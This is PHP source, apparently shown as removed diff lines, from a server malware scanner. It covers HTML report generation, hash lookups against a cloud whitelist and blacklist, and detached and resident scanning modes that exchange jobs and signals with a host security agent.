- private $max_size;
- private $start;
- private $doublecheck;
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix,
- $small = false, $file = false, $echo = false)
- {
- $this->mnemo = $mnemo;
- $this->ai_extra_warn = $ai_extra_warn;
- $this->extended_report = $extended_report;
- $this->rapid_account_scan = $rapid_account_scan;
- $this->ai_hoster = $ai_hoster;
- $this->report_mask = $report_mask;
- $this->addPrefix = $add_prefix;
- $this->noPrefix = $no_prefix;
- $this->small = $small;
- $this->echo = $echo;
- $this->max_size = $max_size;
- $this->start = $start;
- $this->doublecheck = $doublecheck;
- $this->raw_report = '';
- $this->file = $file;
- if($this->file) {
- @unlink($this->file);
- @unlink($this->file . '.tmp');
- }
- if (file_exists(dirname(__FILE__) . '/ai-design.html')) {
- $this->template = Template::create(file_get_contents(dirname(__FILE__) . '/ai-design.html'));
- } else {
- $this->template = Template::create(TemplateList::MAIN_PAGE);
- $this->template->set('msg1', Translate::getStr('data_table.length_menu'));
- $this->template->set('msg2', Translate::getStr('data_table.zero_records'));
- $this->template->set('msg3', Translate::getStr('data_table.info'));
- $this->template->set('msg4', Translate::getStr('data_table.info_empty'));
- $this->template->set('msg5', Translate::getStr('data_table.info_filtered'));
- $this->template->set('msg6', Translate::getStr('data_table.search'));
- $this->template->set('msg7', Translate::getStr('data_table.paginate.first'));
- $this->template->set('msg8', Translate::getStr('data_table.paginate.previous'));
- $this->template->set('msg9', Translate::getStr('data_table.paginate.next'));
- $this->template->set('msg10', Translate::getStr('data_table.paginate.last'));
- $this->template->set('msg11', Translate::getStr('data_table.aria.sort_ascending'));
- $this->template->set('msg12', Translate::getStr('data_table.aria.sort_descending'));
- }
- $this->template->set('MAIN_TITLE', Translate::getStr('header.scan_report_title'));
- $this->template->set('MODE', $ai_expert . '/' . $ai_smart);
- if (AI_EXPERT == 0) {
- $this->raw_report .= '<div class="rep">' . Translate::getStr('scan.offer_modes_after_express') . '</div>';
- }
- $this->template->set('HEAD_TITLE', Translate::getStr('report_for') . $this->addPrefix . str_replace($this->noPrefix, '', $root_path));
- $this->template->set('SERVICE_INFO', htmlspecialchars("[" . @ini_get('mbstring.internal_encoding') . "][" . $snum . "]"));
- $this->template->set('PATH_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $this->addPrefix . str_replace($this->noPrefix, '', $this->addSlash($root_path))));
- $this->template->set('VERSION', $ai_version);
- $this->template->set('WARN_QUICK', (($scan_all || $specific_ext) ? '' : Translate::getStr('notice.scan_express', [$doublecheck])));
- if ($use_doublecheck) {
- if (Translate::getStr('file.scanned_manual', [$this->doublecheck, $this->doublecheck]) != '') {
- $this->raw_report .= '<div class="rep">' . Translate::getStr('file.scanned_manual', [$this->doublecheck, $this->doublecheck]) . '</div>';
- }
- }
- }
- public function generateReport($vars, $scan_time)
- {
- $l_ShowOffer = false;
- $this->template->set('SCANNED', Translate::getStr('info.files_checked', [$vars->totalFolder, $vars->totalFiles]));
- $l_Summary = '<div class="title">' . Translate::getStr('report.summary') . '</div>';
- $l_Summary .= '<table cellspacing=0 border=0>';
- if (count($vars->redirect) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('mobile_redirects'), count($vars->redirect), 'crit');
- }
- if (count($vars->criticalPHP) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('malware'), count($vars->criticalPHP), "crit");
- }
- if (count($vars->criticalJS) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('js_virused'), count($vars->criticalJS), "crit");
- }
- if (count($vars->phishing) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('phishing_pages'), count($vars->phishing), "crit");
- }
- if (count($vars->notRead) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('error.read_file'), count($vars->notRead), "crit");
- }
- if (count($vars->warningPHP) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('suspicious'), count($vars->warningPHP), "warn");
- }
- if (count($vars->bigFiles) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('skipped_large_file'), count($vars->bigFiles), "warn");
- }
- if (count($vars->symLinks) > 0) {
- $l_Summary .= $this->makeSummary(Translate::getStr('link.symbolic'), count($vars->symLinks), "warn");
- }
- $l_Summary .= "</table>";
- $l_ArraySummary = array();
- $l_ArraySummary["redirect"] = count($vars->redirect);
- $l_ArraySummary["critical_php"] = count($vars->criticalPHP);
- $l_ArraySummary["critical_js"] = count($vars->criticalJS);
- $l_ArraySummary["phishing"] = count($vars->phishing);
- $l_ArraySummary["unix_exec"] = 0; // count($g_UnixExec);
- $l_ArraySummary["iframes"] = 0; // count($g_Iframer);
- $l_ArraySummary["not_read"] = count($vars->notRead);
- $l_ArraySummary["base64"] = 0; // count($g_Base64);
- $l_ArraySummary["heuristics"] = 0; // count($g_HeuristicDetected);
- $l_ArraySummary["symlinks"] = count($vars->symLinks);
- $l_ArraySummary["big_files_skipped"] = count($vars->bigFiles);
- $l_ArraySummary["suspicious"] = count($vars->warningPHP);
- if (function_exists('json_encode')) {
- $l_Summary .= "<!--[json]" . json_encode($l_ArraySummary) . "[/json]-->";
- }
- $l_Summary .= "<div class=details style=\"margin: 20px 20px 20px 0\">" . Translate::getStr('notice.files_may_not_malicious') . "</div>\n";
- $this->template->set('SUMMARY', $l_Summary);
- $this->raw_report .= Translate::getStr('critical.title');
- if(!$this->ai_hoster) {
- if (count($vars->vulnerable) > 0) {
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('script.vulnerable') . ' (' . count($vars->vulnerable) . ')</div><div class="crit">';
- foreach ($vars->vulnerable as $l_Item) {
- $this->raw_report .= '<li>' . AibolitHelpers::makeSafeFn($vars->structure['n'][$l_Item['ndx']], $this->addPrefix, $this->noPrefix, true) . ' - ' . $l_Item['id'] . '</li>';
- }
- $this->raw_report .= '</div><p>' . PHP_EOL;
- }
- }
- if (count($vars->criticalPHP) > 0) {
- $criticalPHP = array_slice($vars->criticalPHP, 0, self::MAX_ROWS);
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('detected.shell_scripts') . ' (' . count($criticalPHP) . ')</div><div class="crit">';
- $this->raw_report .= $this->printList($criticalPHP, $vars, $vars->criticalPHPFragment, $vars->criticalPHPSig, 'table_crit');
- $this->raw_report .= '</div>' . PHP_EOL;
- $l_ShowOffer = true;
- } else {
- $this->raw_report .= '<div class="ok"><b>' . Translate::getStr('not_detected.shell_scripts') . '</b></div>';
- }
- if (count($vars->criticalJS) > 0) {
- $criticalJS = array_slice($vars->criticalJS, 0, self::MAX_ROWS);
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('detected.javascript') . ' (' . count($criticalJS) . ')</div><div class="crit">';
- $this->raw_report .= $this->printList($criticalJS, $vars, $vars->criticalJSFragment, $vars->criticalJSSig, 'table_vir');
- $this->raw_report .= "</div>" . PHP_EOL;
- $l_ShowOffer = true;
- }
- if (count($vars->notRead) > 0) {
- $notRead = array_slice($vars->notRead, 0, self::AIBOLIT_MAX_NUMBER);
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('warning.reading_error') . ' (' . count($notRead) . ')</div><div class="crit">';
- $this->raw_report .= $this->printList($notRead, $vars);
- $this->raw_report .= "</div><div class=\"spacer\"></div>" . PHP_EOL;
- }
- if (!$this->ai_hoster) {
- if (count($vars->phishing) > 0) {
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('detected.phishing_pages') . ' (' . count($vars->phishing) . ')</div><div class="crit">';
- $this->raw_report .= $this->printList($vars->phishing, $vars, $vars->phishingFragment, $vars->phishingSigFragment, 'table_vir');
- $this->raw_report .= "</div>" . PHP_EOL;
- $l_ShowOffer = true;
- }
- if (count($vars->redirect) > 0) {
- $l_ShowOffer = true;
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('suspicion.htaccess') . ' (' . count($vars->redirect) . ')</div><div class="crit">';
- $this->raw_report .= "</div>" . PHP_EOL;
- }
- if (count($vars->symLinks) > 0) {
- $symLinks = array_slice($vars->symLinks, 0, self::AIBOLIT_MAX_NUMBER);
- $this->raw_report .= '<div class="note_vir">' . Translate::getStr('symlinks') . ' (' . count($symLinks) . ')</div><div class="crit">';
- $this->raw_report .= nl2br(AibolitHelpers::makeSafeFn(implode("\n", $symLinks), $this->addPrefix, $this->noPrefix, true));
- $this->raw_report .= "</div><div class=\"spacer\"></div>";
- }
- }
- if ($this->ai_extra_warn) {
- $l_WarningsNum = count($vars->warningPHP);
- if ($l_WarningsNum > 0) {
- $this->raw_report .= "<div style=\"margin-top: 20px\" class=\"title\">" . Translate::getStr('warnings') . "</div>";
- }
- if ($l_WarningsNum > 0) {
- $warningPHP = array_slice($vars->warningPHP, 0, self::AIBOLIT_MAX_NUMBER);
- $this->raw_report .= '<div class="note_warn">' . Translate::getStr('suspicion.code') . ' (' . count($warningPHP) . ')</div><div class="warn">';
- $this->raw_report .= $this->printList($warningPHP, $vars, $vars->warningPHPFragment, $vars->warningPHPSig, 'table_warn');
- $this->raw_report .= '</div>' . PHP_EOL;
- }
- }
- if (!$this->ai_hoster) {
- $l_WarningsNum = count($vars->bigFiles) + count($vars->adwareList) + count($vars->doorway) + count($vars->warningPHP) + count($vars->skippedFolders);
- if ($l_WarningsNum > 0) {
- $this->raw_report .= "<div style=\"margin-top: 20px\" class=\"title\">" . Translate::getStr('warnings') . "</div>";
- }
- if (count($vars->adwareList) > 0) {
- $this->raw_report .= '<div class="note_warn">' . Translate::getStr('detected.bad_links') . '</div><div class="warn">';
- $this->raw_report .= $this->printList($vars->adwareList, $vars, $vars->adwareListFragment);
- $this->raw_report .= "</div>" . PHP_EOL;
- }
- if (count($vars->bigFiles) > 0) {
- $bigFiles = array_slice($vars->bigFiles, 0, self::AIBOLIT_MAX_NUMBER);
- $this->raw_report .= "<div class=\"note_warn\">" . Translate::getStr('skipped.large_file', [$this->max_size]) . '</div><div class="warn">';
- $this->raw_report .= $this->printList($bigFiles, $vars);
- $this->raw_report .= "</div>";
- }
- if (count($vars->doorway) > 0) {
- $doorway = array_slice($vars->doorway, 0, self::AIBOLIT_MAX_NUMBER);
- $this->raw_report .= '<div class="note_warn">' . Translate::getStr('suspicion.doorway') . '</div><div class="warn">';
- $this->raw_report .= nl2br(AibolitHelpers::makeSafeFn(implode("\n", $doorway), $this->addPrefix, $this->noPrefix, true));
- $this->raw_report .= "</div>" . PHP_EOL;
- }
- if (count($vars->CMS) > 0) {
- $this->raw_report .= "<div class=\"note_warn\">" . Translate::getStr('founded_CMS') . "<br/>";
- $this->raw_report .= nl2br(AibolitHelpers::makeSafeFn(implode("\n", $vars->CMS), $this->addPrefix, $this->noPrefix));
- $this->raw_report .= "</div>";
- }
- }
- if (function_exists('memory_get_peak_usage')) {
- $this->template->set('MEMORY', Translate::getStr('memory_used') . AibolitHelpers::bytes2Human(memory_get_peak_usage()));
- }
- if ($l_ShowOffer) {
- $this->template->set('OFFER', Translate::getStr('offer.when_has_critical'));
- } else {
- $this->template->set('OFFER', Translate::getStr('offer.when_no_critical'));
- }
- $this->template->set('OFFER_OUR_PRODUCTS', Translate::getStr('offer_our_products'));
- $this->template->set('CAUTION', Translate::getStr('сaution.aibolit_file'));
- $this->template->set('CREDITS', Translate::getStr('info.non_commercial_use'));
- $this->template->set('FOOTER', Translate::getStr('footer'));
- $this->template->set('STAT', Translate::getStr('info.time_elapsed', [$scan_time, date('d-m-Y в H:i:s', floor($this->start)), date('d-m-Y в H:i:s')]));
- ////////////////////////////////////////////////////////////////////////////
- $this->template->set('MAIN_CONTENT', $this->raw_report);
- }
-
- public function write()
- {
- $ret = '';
- $res = $this->template->render();
- if ($l_FH = fopen($this->file . '.tmp', "w")) {
- fputs($l_FH, $res);
- fclose($l_FH);
- }
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- return $ret;
- }
- ////////////////////////////////////////////////////////////////////////////
- /////////////////////////////////////////////////////////////////////////////////////
- private function makeSummary($par_Str, $par_Number, $par_Style)
- {
- return '<tr><td class="' . $par_Style . '" width=400>' . $par_Str . '</td><td class="' . $par_Style . '">' . $par_Number . '</td></tr>';
- }
- private function printList($par_List, $vars, $par_Details = null, $par_SigId = null, $par_TableName = null)
- {
- $i = 0;
- if ($par_TableName == null) {
- $par_TableName = 'table_' . rand(1000000, 9000000);
- }
- $l_Result = '';
- $l_Result .= "<div class=\"flist\"><table cellspacing=1 cellpadding=4 border=0 id=\"" . $par_TableName . "\">";
- $l_Result .= "<thead><tr class=\"tbgh" . ($i % 2) . "\">";
- $l_Result .= "<th width=70%>" . Translate::getStr('path') . "</th>";
- $l_Result .= "<th>" . Translate::getStr('property_change') . "</th>";
- $l_Result .= "<th>" . Translate::getStr('content_change') . "</th>";
- $l_Result .= "<th width=90>" . Translate::getStr('size') . "</th>";
- $l_Result .= "<th width=0 class=\"hidd\">CRC32</th>";
- $l_Result .= "<th width=0 class=\"hidd\"></th>";
- $l_Result .= "<th width=0 class=\"hidd\"></th>";
- $l_Result .= "<th width=0 class=\"hidd\"></th>";
- $l_Result .= "</tr></thead><tbody>";
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- if ($par_SigId != null) {
- $l_SigId = 'id_' . $par_SigId[$i];
- } else {
- $l_SigId = 'id_z' . rand(1000000, 9000000);
- }
- $l_Pos = $par_List[$i];
- $l_Creat = $vars->structure['c'][$l_Pos] > 0 ? date("d/m/Y H:i:s", $vars->structure['c'][$l_Pos]) : '-';
- $l_Modif = $vars->structure['m'][$l_Pos] > 0 ? date("d/m/Y H:i:s", $vars->structure['m'][$l_Pos]) : '-';
- $l_Size = $vars->structure['s'][$l_Pos] > 0 ? AibolitHelpers::bytes2Human($vars->structure['s'][$l_Pos]) : '-';
- if ($par_Details != null) {
- $l_WithMarker = preg_replace('|__AI_MARKER__|smi', '<span class="marker"> </span>', $par_Details[$i]);
- $l_WithMarker = preg_replace('|__AI_LINE1__|smi', '<span class="line_no">', $l_WithMarker);
- $l_WithMarker = preg_replace('|__AI_LINE2__|smi', '</span>', $l_WithMarker);
- $l_Body = '<div class="details">';
- if ($par_SigId != null) {
- $l_Body .= '<a href="#" onclick="return hsig(\'' . $l_SigId . '\')">[x]</a> ';
- }
- $l_Body .= $l_WithMarker . '</div>';
- } else {
- $l_Body = '';
- }
- $l_Result .= '<tr class="tbg' . ($i % 2) . '" o="' . $l_SigId . '">';
- if (is_file($vars->structure['n'][$l_Pos])) {
- $l_Result .= '<td><div class="it"><a class="it">' . AibolitHelpers::makeSafeFn($this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]), $this->addPrefix, $this->noPrefix) . '</a></div>' . $l_Body . '</td>';
- } else {
- $l_Result .= '<td><div class="it"><a class="it">' . AibolitHelpers::makeSafeFn($this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$par_List[$i]]), $this->addPrefix, $this->noPrefix) . '</a></div></td>';
- }
- $l_Result .= '<td align=center><div class="ctd">' . $l_Creat . '</div></td>';
- $l_Result .= '<td align=center><div class="ctd">' . $l_Modif . '</div></td>';
- $l_Result .= '<td align=center><div class="ctd">' . $l_Size . '</div></td>';
- $l_Result .= '<td class="hidd"><div class="hidd">' . $vars->structure['crc'][$l_Pos] . '</div></td>';
- $l_Result .= '<td class="hidd"><div class="hidd">' . 'x' . '</div></td>';
- $l_Result .= '<td class="hidd"><div class="hidd">' . $vars->structure['m'][$l_Pos] . '</div></td>';
- $l_Result .= '<td class="hidd"><div class="hidd">' . $l_SigId . '</div></td>';
- $l_Result .= '</tr>';
- }
- $l_Result .= "</tbody></table></div><div class=clear style=\"margin: 20px 0 0 0\"></div>";
- return $l_Result;
- }
- private function addSlash($dir)
- {
- return rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
- }
- }
- class CloudAssistedFiles
- {
- private $white = [];
- private $black = [];
- public function __construct(CloudAssistedRequest $car, $file_list, $vars)
- {
- $list_of_hash = [];
- $list_of_filepath = [];
- foreach ($file_list as $index => $filepath)
- {
- if (!file_exists($filepath) || !is_readable($filepath) || is_dir($filepath)) {
- continue;
- }
- try {
- $list_of_hash[] = hash('sha256', file_get_contents($filepath));
- $list_of_filepath[] = $filepath;
- }
- catch (Exception $e) {
-
- }
- }
- unset($file_list);
- if ($vars->hashtable !== null) {
- $vars->hashtable->add($list_of_filepath, $list_of_hash);
- }
- try {
- list($white_raw, $black_raw, $verdicts_black_raw) = $car->checkFilesByHash($list_of_hash);
- }
- catch (Exception $e) {
- throw $e;
- }
-
- $this->white = $this->getListOfFile($white_raw, $list_of_hash, $list_of_filepath);
- $this->black = $this->getListOfFile($black_raw, $list_of_hash, $list_of_filepath, $verdicts_black_raw);
- unset($white_raw, $black_raw, $verdicts_black_raw, $list_of_hash, $list_of_filepath);
- }
-
- public function getWhiteList()
- {
- return $this->white;
- }
- public function getBlackList()
- {
- return $this->black;
- }
-
- // =========================================================================
-
- private function getListOfFile($data_raw, $list_of_hash, $list_of_filepath, $verdicts = [])
- {
- $result = [];
- foreach ($data_raw as $index => $hash_index)
- {
- if (!isset($list_of_hash[$hash_index])) {
- continue;
- }
- $hash_result = [
- 'h' => $list_of_hash[$hash_index],
- 'ts' => time(),
- ];
- if ($verdicts) {
- if (!isset($verdicts[$index])) {
- throw new Exception('Wrong CloudAssisted format. List of verdicts has structure different from main list.');
- }
- $hash_result['sn'] = $verdicts[$index];
- }
- $result[$list_of_filepath[$hash_index]] = $hash_result;
- }
- return $result;
- }
- }
- class DetachedMode
- {
- protected $workdir;
- protected $scan_id;
- protected $pid_file;
- protected $report_file;
- protected $csvreport_file;
- protected $done_file;
- protected $vars;
- protected $start_time;
- protected $json_report;
- protected $sock_file;
- protected $reports;
- protected $finder;
- protected $debug;
- public function __construct($finder, $debug, $scan_id, $vars, $start_time, $json_report, $basedir = '/var/imunify360/aibolit/run', $sock_file = '/var/run/defence360agent/generic_sensor.sock.2')
- {
- $this->scan_id = $scan_id;
- $this->vars = $vars;
- $this->setWorkDir($basedir, $scan_id);
- $this->pid_file = $this->workdir . '/pid';
- $this->report_file = $this->workdir . '/report.json';
- $this->csvreport_file = $this->workdir . '/report.csv';
- $this->done_file = $this->workdir . '/done';
- $this->start_time = $start_time;
- $this->json_report = $json_report;
- $this->setSocketFile($sock_file);
- $this->savePid();
- $this->checkWorkDir($this->workdir);
- if (isset($vars->options['json_report']) && !empty($vars->options['json_report']) && $vars->options['json_report'] !== '.') {
- $this->report_file = $vars->options['json_report'];
- }
- if (isset($vars->options['csv_report']) && !empty($vars->options['csv_report']) && $vars->options['csv_report'] !== '.') {
- $this->csvreport_file = $vars->options['csv_report'];
- $this->reports[CSVReport::class] = $this->csvreport_file;
- }
- $this->reports[JSONReport::class] = $this->report_file;
- $this->finder = $finder;
- $this->debug = $debug;
- }
-
- public function scanListing($listing, $use_base64)
- {
- $this->checkList($listing);
- $this->scanFilesFromListingFile($listing, $use_base64);
- $this->writeReport();
- $this->complete();
- }
-
- public function scanDirectories($dir)
- {
- file_exists(QUEUE_FILENAME) && unlink(QUEUE_FILENAME);
- $scan = new Scanner($this->finder, $this->vars);
- if (method_exists($scan, 'QCR_ScanDirectories')) {
- $scan->QCR_ScanDirectories($dir);
- }
- $this->scanFilesFromListingFile(QUEUE_FILENAME, true);
- file_exists(QUEUE_FILENAME) && unlink(QUEUE_FILENAME);
- $this->writeReport();
- $this->complete();
- unset($scan);
- }
- // /////////////////////////////////////////////////////////////////////////
-
- protected function scanFilesFromListingFile($list_filepath, $use_base64 = false)
- {
- if (!is_file($list_filepath) || !is_readable($list_filepath)) {
- $this->vars->foundTotalFiles = 0;
- return;
- }
- $s_file = new SplFileObject($list_filepath);
- $s_file->setFlags(SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
-
- $s_file->seek($s_file->getSize());
- $this->vars->foundTotalFiles = $s_file->key();
- $s_file->seek(0);
- $scan = new Scanner($this->finder, $this->vars);
- if (method_exists($scan, 'QCR_GoScan')) {
- $scan->QCR_GoScan($s_file, null, $use_base64, false);
- $scan->whitelisting();
- }
- unset($scan);
- unset($s_file);
- }
- protected function checkWorkDir($workdir)
- {
- if (!file_exists($workdir) && !mkdir($workdir) && !is_dir($workdir)) {
- die('Error! Cannot create workdir ' . $workdir . ' for detached scan.');
- } elseif (file_exists($workdir) && !is_writable($workdir)) {
- die('Error! Workdir ' . $workdir . ' is not writable.');
- }
- }
-
- protected function checkList($listing)
- {
- if (!file_exists($listing) || !is_readable($listing)) {
- die('Error! Listing file ' . $listing . ' not exists or not readable');
- }
- }
- protected function savePid()
- {
- file_put_contents($this->pid_file, strval(getmypid()));
- }
- protected function writeReport()
- {
- $scan_time = round(microtime(true) - $this->start_time, 1);
- foreach($this->json_report->call($this, $this->reports) as $json_report) {
- $json_report->generateReport($this->vars, $scan_time);
- $json_report->write();
- }
- }
- protected function complete()
- {
- @touch($this->done_file);
- $complete = array(
- 'method' => 'MALWARE_SCAN_COMPLETE',
- 'scan_id' => $this->scan_id,
- );
- $json_complete = json_encode($complete) . "\n";
- $socket = fsockopen('unix://' . $this->sock_file);
- stream_set_blocking($socket, false);
- fwrite($socket, $json_complete);
- fclose($socket);
- }
- protected function setWorkDir($dir, $scan_id)
- {
- $this->workdir = $dir . '/' . $scan_id;
- }
- protected function setSocketFile($sock)
- {
- $this->sock_file = $sock;
- }
- }
- /**
- * Class ResidentMode used to stay aibolit alive in memory and wait for a job.
- */
- class ResidentMode
- {
- /**
- * parent dir for all resident aibolit related
- * @var string
- */
- protected $resident_dir;
- /**
- * directory for all jobs to be processed by aibolit
- * @var string
- */
- protected $resident_in_dir;
- /**
- * directory with all the malicious files reports to be processed by imunify
- * @var string
- */
- protected $resident_out_dir;
- /**
- * resident aibolit pid
- * @var string
- */
- protected $aibolit_pid;
- /**
- * file lock used to make sure we start only one aibolit
- * @var string
- */
- protected $aibolit_start_lock;
- /**
- * status file used to make sure aibolit didn't get stuck
- * @var string
- */
- protected $aibolit_status_file;
- /**
- * number of seconds while aibolit will stay alive, while not receiving any work
- * @var int
- */
- protected $stay_alive;
- /**
- * maximum number of seconds without updating ABOLIT_STATUS_FILE,
- * used to track if AIBOLIT is stuck, should be killed
- * @var int
- */
- protected $stuck_timeout;
- /**
- * number of seconds scripts would wait for aibolit to finish / send signal
- * @var int
- */
- protected $upload_timeout;
- /**
- * max number of files to pick
- * @var int
- */
- protected $max_files_per_notify_scan;
- /**
- * timestamp of last scan
- * @var int
- */
- protected $last_scan_time;
- /**
- * time to sleep between lifecycle iterations in microseconds
- */
- protected $sleep_time;
- protected $scannedNotify = 0;
- protected $report;
- protected $logger;
- protected $resident_in_dir_notify;
- protected $resident_in_dir_upload;
- protected $blacklist;
- protected $watchdog_socket;
- protected $activation_socket;
- protected $systemd = false;
- protected $interval = 0;
- protected $lastKeepAlive = 0;
- protected $maxMinUid = array();
- protected $signs;
- protected $finder;
- const JOB_UPLOAD = 'upload';
- const JOB_NOTIFY = 'notify';
- protected $upload_jobs = [];
- protected $notify_jobs = [];
- /**
- * ResidentMode constructor.
- *
- * @param $finder
- * @param $debug
- * @param Closure $report
- * @param $signs
- * @param null $blacklist
- * @param Logger|null $logger
- * @param array $maxMinUid
- * @param string $resident_dir
- * @param int $stay_alive
- * @param int $stuck_timeout
- * @param int $upload_timeout
- * @param int $max_files_per_notify_scan
- * @param int $sleep_time
- */
- public function __construct(
- $finder,
- $debug,
- Closure $report,
- $signs,
- $blacklist = null,
- Logger $logger = null,
- $maxMinUid = array(),
- $resident_dir = '/var/imunify360/aibolit/resident',
- $stay_alive = 30,
- $stuck_timeout = 5,
- $upload_timeout = 10,
- $max_files_per_notify_scan = 500,
- $sleep_time = 100000
- ) {
- $this->signs = $signs;
- $this->setResidentDir($resident_dir);
- $this->resident_in_dir = $this->resident_dir . '/in';
- $this->resident_in_dir_upload = $this->resident_in_dir . '/upload-jobs';
- $this->resident_in_dir_notify = $this->resident_in_dir . '/notify-jobs';
- $this->resident_out_dir = $this->resident_dir . '/out';
- $this->aibolit_pid = $this->resident_dir . '/aibolit.pid';
- $this->aibolit_start_lock = $this->resident_dir . '/start.lock';
- $this->aibolit_status_file = $this->resident_dir . '/aibolit.status';
- $this->stay_alive = $stay_alive;
- $this->stuck_timeout = $stuck_timeout;
- $this->upload_timeout = $upload_timeout;
- if (!empty($max_files_per_notify_scan)) {
- $this->max_files_per_notify_scan = $max_files_per_notify_scan;
- }
- $this->sleep_time = $sleep_time;
- $this->report = $report;
- $this->blacklist = $blacklist;
- $this->logger = $logger;
- $this->maxMinUid = $maxMinUid;
- umask(0);
- if (!file_exists($this->resident_dir)) {
- if (!mkdir($this->resident_dir, 0777, true) && !is_dir($this->resident_dir)) {
- throw new Exception(sprintf('Directory "%s" was not created', $this->resident_dir));
- }
- }
- if (!file_exists($this->resident_in_dir)) {
- if (!mkdir($this->resident_in_dir, 0755) && !is_dir($this->resident_in_dir)) {
- throw new Exception(sprintf('Directory "%s" was not created', $this->resident_in_dir));
- }
- }
- if (!file_exists($this->resident_out_dir)) {
- if (!mkdir($this->resident_out_dir, 0755) && !is_dir($this->resident_out_dir)) {
- throw new Exception(sprintf('Directory "%s" was not created', $this->resident_out_dir));
- }
- }
- if (!file_exists($this->resident_in_dir_notify)) {
- if (!mkdir($this->resident_in_dir_notify, 0700) && !is_dir($this->resident_in_dir_notify)) {
- throw new Exception(sprintf('Directory "%s" was not created', $this->resident_in_dir_notify));
- }
- }
- if (!file_exists($this->resident_in_dir_upload)) {
- if (!mkdir($this->resident_in_dir_upload, 01777) && !is_dir($this->resident_in_dir_upload)) {
- throw new Exception(sprintf('Directory "%s" was not created', $this->resident_in_dir_upload));
- }
- }
- $this->checkSpecs();
- $addr = getenv('NOTIFY_SOCKET');
- if ($addr[0] == '@') {
- $addr = "\0";
- }
- if ($addr) {
- $this->systemd = true;
- }
- if ($this->systemd) {
- $this->watchdog_socket = fsockopen('udg://' . $addr);
- stream_set_blocking($this->watchdog_socket, false);
- $this->activation_socket = fopen('php://fd/3', 'r');
- if ($this->activation_socket === false) {
- die("Something went wrong with activation socket.");
- }
- stream_set_blocking($this->activation_socket, false);
- if (getenv('WATCHDOG_USEC') !== false) {
- $this->interval = intval(getenv('WATCHDOG_USEC'));
- } else {
- $this->interval = 1000000;
- }
- }
- $this->finder = $finder;
- $this->debug = isset($debug) ? $debug : null;
- $this->lifeCycle();
- }
- protected function isRootWriteable($folder)
- {
- if (!file_exists($folder) || !is_dir($folder)) {
- return false;
- }
- $owner_id = (int)fileowner($folder);
- if (function_exists('posix_getpwuid')) {
- $owner = posix_getpwuid($owner_id);
- if (!isset($owner['name']) || $owner['name'] !== 'root') {
- return false;
- }
- } elseif ($owner_id != 0) {
- return false;
- }
- $perms = fileperms($folder);
- if (($perms & 0x0100) // owner r
- && ($perms & 0x0080) // owner w
- && ($perms & 0x0040) && !($perms & 0x0800) // owner x
- && !($perms & 0x0010) // group without w
- && !($perms & 0x0002) // other without w
- ) {
- return true;
- }
- return false;
- }
- protected function isWorldWriteable($folder)
- {
- if (!file_exists($folder) || !is_dir($folder)) {
- return false;
- }
- $perms = fileperms($folder);
- if (($perms & 0x0004) // other r
- && ($perms & 0x0002) // other w
- && ($perms & 0x0200) // sticky bit
- ) {
- return true;
- }
- return false;
- }
- protected function checkSpecs()
- {
- if (!extension_loaded('posix')) {
- die('Error! For resident scan need posix extension.');
- } elseif (!$this->isRootWriteable($this->resident_in_dir_notify)) {
- die('Error! Notify in dir ' . $this->resident_in_dir_notify . ' must be root writeable.');
- } elseif (!$this->isWorldWriteable($this->resident_in_dir_upload)) {
- die('Error! Upload in dir ' . $this->resident_in_dir_upload . ' must be world writeable.');
- }
- }
- protected function setResidentDir($dir)
- {
- $this->resident_dir = $dir;
- }
- protected function writeReport($vars, $scan_time, $type, $file)
- {
- $file = basename($file);
- $critPHP = count($vars->criticalPHP);
- $critJS = count($vars->criticalJS);
- $black = count($vars->blackFiles);
- $warning = count($vars->warningPHP);
- $malware = ($critPHP > 0)
- || ($critJS > 0)
- || ($black > 0)
- || ($warning > 0);
- if ($malware) {
- $this->debugLog("Job {$file}: Found malware. PHP: {$critPHP}; JS: {$critJS}; Black: {$black}; SUS: {$warning}");
- } else {
- $this->debugLog("Job {$file}: No malware found.");
- }
- if ($type == 'upload') {
- $pid = (int)basename($file, '.upload_job');
- if ($malware) {
- $this->debugLog("Job {$file}: Sending SIGUSR1 to {$pid}");
- posix_kill($pid, SIGUSR1);
- } else {
- $this->debugLog("Job {$file}: Sending SIGUSR2 to {$pid}");
- posix_kill($pid, SIGUSR2);
- }
- } elseif ($type == 'notify' && $malware) {
- $filename = basename($file, '.notify_job');
- $reports[JSONReport::class] = $this->resident_out_dir . '/' . $filename . '.report';
- foreach($this->report->call($this, $reports) as $report) {
- $report->generateReport($vars, $scan_time);
- $this->debugLog("Job {$file}: Creating report for job in {$filename}.report");
- $report->write();
- }
- unset($reports);
- }
- }
- /**
- * @param string $pattern
- * @param string $type
- *
- * @return bool
- */
- protected function isJobFileExists($pattern, $type)
- {
- if ($type === self::JOB_UPLOAD) {
- if (empty($this->upload_jobs)) {
- $this->upload_jobs = glob($this->resident_in_dir . $pattern);
- if (!empty($this->upload_jobs)) {
- return true;
- }
- } else {
- return true;
- }
- }
- if ($type === self::JOB_NOTIFY) {
- if (empty($this->notify_jobs)) {
